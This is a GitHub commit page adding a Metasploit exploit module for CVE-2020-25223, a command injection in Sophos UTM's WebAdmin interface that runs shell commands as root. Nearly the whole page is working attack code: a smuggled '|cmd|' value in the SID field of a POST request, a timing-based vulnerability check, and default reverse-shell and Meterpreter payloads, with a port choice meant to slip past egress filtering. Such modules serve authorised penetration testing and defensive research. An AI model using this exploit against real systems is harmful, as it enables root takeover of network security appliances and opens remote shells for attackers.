-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add Sophos UTM CVE-2020-25223 exploit
- Loading branch information
Showing
1 changed file
with
140 additions
and
0 deletions.
There are no files selected for viewing
140 changes: 140 additions & 0 deletions
140
modules/exploits/linux/http/sophos_utm_webadmin_sid_cmd_injection.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Sophos UTM WebAdmin SID Command Injection', | ||
'Description' => %q{ | ||
This module exploits an SID-based command injection in Sophos UTM's | ||
WebAdmin interface to execute shell commands as the root user. | ||
}, | ||
'Author' => [ | ||
# Discovered by unknown researcher(s) | ||
'Justin Kennedy', # Analysis and PoC | ||
'wvu' # Supplementary analysis and exploit | ||
], | ||
'References' => [ | ||
['CVE', '2020-25223'], | ||
['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'], | ||
['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'], | ||
['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a'] | ||
], | ||
'DisclosureDate' => '2020-09-18', | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Type' => :cmd, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' | ||
} | ||
} | ||
], | ||
[ | ||
'Linux Dropper', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Type' => :dropper, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'RPORT' => 4444, | ||
'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering | ||
'SSL' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Base path', '/']) | ||
]) | ||
end | ||
|
||
def check | ||
start = Time.now | ||
injected = inject_cmd("sleep #{sleep_time = rand(5..10)}", timeout: sleep_time + 1) | ||
stop = Time.now | ||
|
||
return CheckCode::Unknown if injected.nil? | ||
|
||
vprint_status("Elapsed time: #{elapsed_time = stop - start} seconds") | ||
|
||
# injected == false | ||
unless injected && elapsed_time > sleep_time | ||
return CheckCode::Safe('Failed to test command injection.') | ||
end | ||
|
||
# injected == true | ||
CheckCode::Appears('Successfully tested command injection.') | ||
end | ||
|
||
def exploit | ||
print_status("Executing #{payload_instance.refname} (#{target.name})") | ||
|
||
case target['Type'] | ||
when :cmd | ||
execute_command(payload.encoded) | ||
when :dropper | ||
execute_cmdstager | ||
end | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
# nil or true on success | ||
if inject_cmd(cmd) == false | ||
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") | ||
end | ||
end | ||
|
||
def inject_cmd(cmd, timeout: 3.5) | ||
vprint_status("Injecting command: #{cmd}") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'var'), | ||
'ctype' => 'application/json; charset=UTF-8', | ||
'data' => { | ||
'SID' => "|#{cmd}|" | ||
}.to_json | ||
}, timeout) | ||
|
||
return unless res | ||
return false unless res.code == 200 && res.body.include?(alert_msg) | ||
|
||
true | ||
end | ||
|
||
def alert_msg | ||
'Backend connection failed, please click Shift-Reload to try again.' | ||
end | ||
|
||
end |